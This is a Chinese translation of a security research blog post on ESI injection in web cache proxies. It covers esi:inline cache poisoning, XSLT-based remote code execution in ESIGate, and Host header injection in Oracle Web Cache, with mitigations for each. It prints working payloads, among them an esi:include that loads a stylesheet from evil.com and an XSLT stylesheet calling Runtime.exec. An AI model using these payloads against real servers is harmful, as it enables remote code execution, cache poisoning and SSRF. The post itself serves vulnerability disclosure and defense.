去年,我们发表了一篇题为《在页面中注入ESI标记来欺骗web缓存代理》(已翻译,译文地址)的博客,2018年8月,我们的同事Louis Dion-Marcil在Defcon极客大会上谈到了GoSecure入侵测试团队发现的ESI注入。对于那些感兴趣的人,该演示文稿已在Defcon YouTube频道上发布。Defcon和Black Hat让我们有机会看到ESI注入如何通过客户端Web浏览器导致会话泄漏,而不依赖任何恶意JavaScript。ESI是一种规范,它以XML标记的形式定义了由缓存服务器解释的语句。这些语句通过组合来自外部资源的各种HTML片段来描述网页的内容。攻击者可以在截获的网页中注入恶意标记来滥用此机制。
这篇文章的目的是展示第一篇文章之后的发现。这些发现是适用于特定实现的攻击向量。这篇文章也是描述相应问题的缓解措施的良好平台。
以下是3种新的ESI注入技巧:
- ESI内联片段
- 从XML样式表语言转换(XSLT)到远程代码执行
- ESI包含中的头注入
ESI速成课程
ESI语句由一些web应用返回,这些web应用的页面需要被缓存,但是其中一些元素又需要被周期性的刷新。以下是一个HTML页面的例子,它使用了esi:include语句,该语句会返回给缓存服务器处理。
<body>
<b>The Weather Website</b>
Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]
由web服务器返回的HTML页面(ESI处理前)<body>
<b>The Weather Website</b>
Weather for Montreal
Monday: -5 °C
Tuesday: -7 °C
[…]
由缓存服务器处理完后的最终页面
攻击者可以通过在缓存服务器处理的页面中反射一个值来触发这些特性。
如果想了解更多,你可以回顾一下我们关于这个话题发表的第一篇文章(译文地址)
1.ESI内联片段
<esi:inline>片段是一个标记,它定义保存到缓存中的内容。这些内容稍后将被使用,并与“name”中定义的路径相关联。名为“fetchable”的可选属性定义了该资源是对外部用户可用(true)还是只对ESI可用(false)。只有少数供应商支持esi:inline。
Apache Traffic Server、Squid以及Varnish不支持这个语句,即使它是ESI标准的一部分。然而它在Oracle Web Cache 11g这类缓存解决方案中被实现了。
下面是一个恶意payload的例子,它会创建一个虚拟页面attack.html。
<esi:inline name="/attack.html" fetchable="yes">
<script>prompt('Malicious script')</script>
</esi:inline>
从攻击者的角度来看,此功能可用于污染现有资源(如JavaScript)以隐藏恶意后门。它也能用于托管恶意页面或二进制文件。
从受害者角度看到的被污染的页面或资源
这个攻击向量是读完《Oracle应用服务器Web缓存:管理员指南》后发现的。
缓解措施
没有配置可以限制此类攻击,因为标记<esi:inline>是内置的功能。最好的防护是确保你的web框架会在呈现结果视图前将HTML上下文转义。
如果您不再使用ESI,则可以停止返回标头“Surrogate-Control”,以避免缓存服务器解析任何ESI片段。
通过XML样式表语言转换(XSLT)获得远程代码执行
一些供应商实现了包含XML内容的能力,这些XML内容经过了XML样式表语言转换,其中只有一种情况是易受攻击的。它是由Benoit Coté-Jodoin使用Find Security Bugs找到的。我们将介绍这种漏洞利用场景,它将影响版本低于5.3的ESIGate。
触发XSLT处理过程
常规esi:include标签有以下形式:
<esi:include src="http://website.com/data/news.xml" stylesheet="/news_template.xsl"></esi:include>
利用此漏洞的前提条件与以前的攻击类似。攻击者必须能够在缓存的页面中反射带有XML标记的值。一旦在站点上找到一个反射值,攻击者就会在HTTP响应中反射以下有效负载。
<esi:include src="http://website.com/" stylesheet="http://evil.com/esi.xsl"></esi:include>
从XML样式表语言转换(XSLT)到远程代码执行
当包含的标记具有远程样式表时,ESI-Gate会自动触发XSLT处理。默认情况下,Java中的XML解析器允许导入Java函数。如以下样式表示例所示,这很容易导致任意代码执行。
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[touch /tmp/pwned]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
缓解措施
对于ESI-Gate的缓解措施很简单,只需更新到最新版本。
如果你想了解更多,可以查阅Find Security Bugs documentation about malicious XSLT。
头注入和受限的SSRF(CVE-2019-2438)
当我们开始这项研究时,主要的目标漏洞类是服务器端请求伪造(SSRF),简而言之,就是从另一个域或IP请求网页的能力。我们主要关注esi:include标记的URL参数。但是URL中的host部分被忽略或需要通过白名单验证。这使我们专注于其他特征,例如ESI变量(参见上一篇博客)。
有一种情况可以引导我们进入SSRF。此方案涉及为esi:include语句注入额外的Host头。
<esi:include src="/page_from_another_host.htm">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
我们使用User-Agent作为示例标头,因为标头Host已列入黑名单。值内的换行允许我们向HTTP请求添加Host头。由于在HTTP请求开始时添加了自定义标头,因此我们可以覆盖原始的Host。除了IIS和Lighttpd会忽略具有多个主机头的请求,大多数Web容器将使用第一个头。这些表现行为记录在Host of Troubles: Multiple Host Ambiguities in HTTP Implementations (表3中有详细的实施行为)。
缓解措施
缓解措施与第一部分中描述的相同。确保您的框架执行正确的XML/HTML转义将是最好的防御。要避免标头注入,请更新到最新的Oracle Web Cache。
结论
我们意识到这些漏洞不会在大量网站上找到。这些解决方案尚未大规模部署。大多数ESI实现都没有描述的功能。每当遇到具有ESI启用的Web缓存提供程序时,我们都会发现这些功能很有趣。
ESI规范没有提供一种机制来验证一个标签是否是由后端合法发布的。出于这个原因,任何启用ESI的缓存代理都将继续存在潜在问题,就如我们在两篇文章中所描述的那样。
最后,在这篇博文中,我们列出了BenoitCôté-Jodoin发现的一个漏洞。有一篇文章很快就会发布,这篇文章重组了他在实习期间发现的其他漏洞。